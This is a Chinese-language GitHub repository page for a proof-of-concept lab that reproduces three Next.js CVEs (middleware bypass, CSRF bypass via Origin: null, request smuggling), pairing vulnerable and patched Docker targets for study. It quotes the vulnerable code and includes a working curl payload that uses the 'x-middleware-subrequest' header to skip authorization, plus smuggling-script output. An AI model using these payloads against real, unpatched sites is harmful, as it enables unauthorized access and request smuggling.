Nayekah/Next.js-Proof-of-Concept
GitHub: Nayekah/Next.js-Proof-of-Concept
为 Next.js 三个 CVE(中间件绕过、CSRF 绕过、请求走私)提供易受攻击版本与已修复版本的 Docker 并行对比复现环境及自动化利用脚本。
Stars: 0 | Forks: 0
# Next.js CVE 概念验证
本仓库包含三个 Next.js 漏洞的可复现概念验证环境。每个 PoC 都包含一个易受攻击的目标、一个已修复的目标,以及一个用于演示两者行为差异的脚本。
本项目的目标是在最小化的环境中,让每个问题的根本原因和实际影响变得易于观察。
## 包含的漏洞
| CVE | 公告 | 影响 | 易受攻击版本 | 已修复版本 |
| --- | --- | --- | --- | --- |
| `CVE-2025-29927` | [GHSA-f82v-jwr5-mffw](https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw) | 当访问控制仅依赖于 middleware 时发生的授权绕过 | `15.2.2` | `15.2.3` |
| `CVE-2026-27978` | [GHSA-mq59-m269-xvcx](https://github.com/vercel/next.js/security/advisories/GHSA-mq59-m269-xvcx) | `Origin: null` 绕过 Server Actions CSRF 检查 | `16.1.6` | `16.1.7` |
| `CVE-2026-29057` | [GHSA-ggv3-7p47-pfv8](https://github.com/advisories/GHSA-ggv3-7p47-pfv8) | 通过重写到外部后端实现 HTTP 请求走私 | `15.5.12` | `15.5.13` |
## 发布提交和补丁提交
以下哈希值取自上游 `vercel/next.js`。
| CVE | 易受攻击发布提交 | 已修复发布提交 | 相关补丁提交 |
| --- | --- | --- | --- |
| `CVE-2025-29927` | `v15.2.2` -> `f4552826e1ed15fbeb951be552d67c5a08ad0672` | `v15.2.3` -> `535e26d3c69de49df8bd17618a424cbe65ec897b` | `52a078da3884efe6501613c7834a3d02a91676d2` |
| `CVE-2026-27978` | `v16.1.6` -> `adf8c612adddd103647c90ff0f511ea35c57076e` | `v16.1.7` -> `bdf3e3577a6d55ea186a48238d61fbd8da07a626` | `a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8` |
| `CVE-2026-29057` | `v15.5.12` -> `d23f41c42506005fe6978e076a1ccbf8979e4925` | `v15.5.13` -> `cfd5f533b08df3038476dcd54f1d6d660d85f069` | `dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6` |
## 仓库布局
```
.
|- docker-compose.yml
|- pocs/
| |- cve-2025-29927/
| |- cve-2026-27978/
| `- cve-2026-29057/
`- scripts/
|- run-cve-2025-29927.mjs
|- run-cve-2026-27978.mjs
`- run-cve-2026-29057.mjs
```
## 前置条件
1. 安装 Docker Desktop 或 Docker Engine。
2. 确保可以使用 `docker compose`。
3. 在本仓库的根目录运行命令。
## 启动所有服务
```
docker compose up --build
```
暴露的端口:
- `3001` -> `CVE-2025-29927` 易受攻击
- `3002` -> `CVE-2025-29927` 已修复
- `3003` -> `CVE-2026-27978` 易受攻击
- `3004` -> `CVE-2026-27978` 已修复
- `3005` -> `CVE-2026-29057` 易受攻击
- `3006` -> `CVE-2026-29057` 已修复
## 复现 1:CVE-2025-29927
### 易受攻击的代码路径
在这个 PoC 中,`/dashboard` 仅受 middleware 保护:
```
export function middleware(request) {
const session = request.cookies.get('session')?.value
if (session !== 'admin') {
return NextResponse.redirect(new URL('/login', request.url))
}
return NextResponse.next()
}
```
授权检查本身没有错误。问题在于该路由完全依赖于 middleware 执行不能被跳过的假设。
在受影响的 Next.js 版本中,外部请求仍然可以提供内部 header `x-middleware-subrequest`,并且运行时会将该值视为受信任的 middleware 元数据。相关的易受攻击逻辑如下:
```
const INTERNAL_HEADERS = [
'x-middleware-rewrite',
'x-middleware-redirect',
'x-middleware-set-cookie',
'x-middleware-skip',
'x-middleware-override-headers',
'x-middleware-next',
'x-now-route-matches',
'x-matched-path',
]
export const filterInternalHeaders = (headers) => {
for (const header in headers) {
if (INTERNAL_HEADERS.includes(header)) {
delete headers[header]
}
}
}
```
`x-middleware-subrequest` 没有在那里被过滤,因此攻击者控制的输入可以到达 middleware 运行时。然后该值被用于推导递归深度:
```
const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []
const depth = subrequests.reduce(
(acc, curr) => (curr === params.name ? acc + 1 : acc),
0
)
if (depth >= MAX_RECURSION_DEPTH) {
return {
response: new Response(null, {
headers: {
'x-middleware-next': '1',
},
}),
}
}
```
如果攻击者发送 `middleware:middleware:middleware:middleware:middleware`,运行时可能会得出已经达到递归深度的结论,从而在不执行应用程序 middleware 的情况下转发该请求。
### 运行
```
docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
```
```
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002
```
预期行为:
- `3001` 在没有利用 header 的情况下返回重定向,但在带有 `x-middleware-subrequest` 时返回 `200 OK`。
- `3002` 继续重定向到 `/login`,因为内部 header 不再被信任来自外部输入。
## 复现 2:CVE-2026-27978
### 易受攻击的代码路径
这个 PoC 暴露了一个普通的 Server Action,它会更改服务器端状态:
```
'use server'
import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'
export async function transferFunds(formData) {
const cookieStore = await cookies()
const session = cookieStore.get('session')?.value
if (!session) {
throw new Error('Victim session cookie is missing.')
}
const amount = Number(formData.get('amount') || '0')
recordTransfer(session, amount)
revalidatePath('/')
}
```
问题不在于 `transferFunds()` 本身。易受攻击的行为存在于 Next.js 针对 Server Actions 的 CSRF 验证中。在受影响的版本中,`Origin: null` 被视为缺少 origin,而不是显式的不透明 origin:
```
const originHeader = req.headers['origin']
const originDomain =
typeof originHeader === 'string' && originHeader !== 'null'
? new URL(originHeader).host
: undefined
const host = parseHostHeader(req.headers)
if (!originDomain) {
warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
// Ignore it
} else {
const error = new Error('Invalid Server Actions request.')
// ...
}
}
```
因为 `'null'` 变成了 `undefined`,来自不透明 origin(如沙盒 iframe)的请求可以绕过 host/origin 比较路径,并且仍然会在附带受害者 cookie 的情况下被处理。
### 运行
```
docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
```
```
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004
```
预期行为:
- 脚本以受害者身份登录,从页面提取生成的 Server Action 字段,并使用 `Origin: null` 提交它
- 在易受攻击的目标上,转账状态会发生改变
- 在已修复的目标上,请求失败且状态保持不变
## 复现 3:CVE-2026-29057
### 易受攻击的代码路径
这个 PoC 将 `/rewrites/:path*` 重写到外部后端:
```
/** @type {import('next').NextConfig} */
const nextConfig = {
async rewrites() {
return [
{
source: '/rewrites/:path*',
destination: 'http://127.0.0.1:4000/rewrites/:path*',
},
]
},
}
module.exports = nextConfig
```
易受攻击的行为存在于 Next.js 用于重写的内置 `http-proxy` 依赖项中。在受影响的版本中,针对 `DELETE` 和 `OPTIONS` 请求的代理逻辑可能会添加 `content-length: 0` 并移除 `transfer-encoding`:
```
deleteLength: function deleteLength(req, res, options) {
if (
(req.method === 'DELETE' || req.method === 'OPTIONS') &&
!req.headers['content-length']
) {
req.headers['content-length'] = '0'
delete req.headers['transfer-encoding']
}
},
```
这导致在转发精心构造的分块请求时,代理链和后端之间产生请求边界分歧。结果,第二个请求可以通过同一连接被走私到后端。
### 运行
```
docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed
```
```
node scripts/run-cve-2026-29057.mjs http://localhost:3005
node scripts/run-cve-2026-29057.mjs http://localhost:3006
```
预期行为:
- 脚本重置观察到的状态,然后发送一个包含走私请求 `GET /secret` 的原始分块 `DELETE /rewrites/poc` 请求
- 在易受攻击的目标上,后端会记录 `DELETE /rewrites/poc` 和 `GET /secret`
- 在已修复的目标上,后端仅记录第一个重写请求
观察到的示例输出:
```
$ node scripts/run-cve-2026-29057.mjs http://localhost:3005
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]}
PoC result: vulnerable behavior reproduced.
$ node scripts/run-cve-2026-29057.mjs http://localhost:3006
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc"]}
PoC result: smuggled request was not observed. This usually means the target is patched.
```
## 快速手动命令
### CVE-2025-29927
```
curl -i http://localhost:3001/dashboard
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/dashboard
```
### CVE-2026-27978
使用提供的脚本,因为 Server Action 字段是由服务器动态生成的。
### CVE-2026-29057
使用提供的脚本,因为该漏洞利用依赖于带有走私第二个请求的原始 TCP 负载。
## 来源
- [Next.js 安全公告](https://github.com/vercel/next.js/security/advisories)
- [CVE-2025-29927 公告](https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw)
- [Middleware 绕过事后分析](https://vercel.com/blog/postmortem-on-next-js-middleware-bypass)
- [CVE-2026-27978 公告](https://github.com/vercel/next.js/security/advisories/GHSA-mq59-m269-xvcx)
- [CVE-2026-29057 公告](https://github.com/advisories/GHSA-ggv3-7p47-pfv8)
- [CVE-2026-29057 补丁提交](https://github.com/vercel/next.js/commit/dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6)
标签:CISA项目, CSRF, CVE-2025-29927, CVE-2026-27978, CVE-2026-29057, Docker, HTTP请求走私, Maven, MITM代理, OSV, PoC, Server Actions, Vercel, Web安全, Web报告查看器, 中间件绕过, 前端安全, 安全防御评估, 数据可视化, 暴力破解, 权限绕过, 漏洞分析, 漏洞复现, 漏洞验证, 网络安全, 自定义脚本, 蓝队分析, 请求拦截, 路径探测, 隐私保护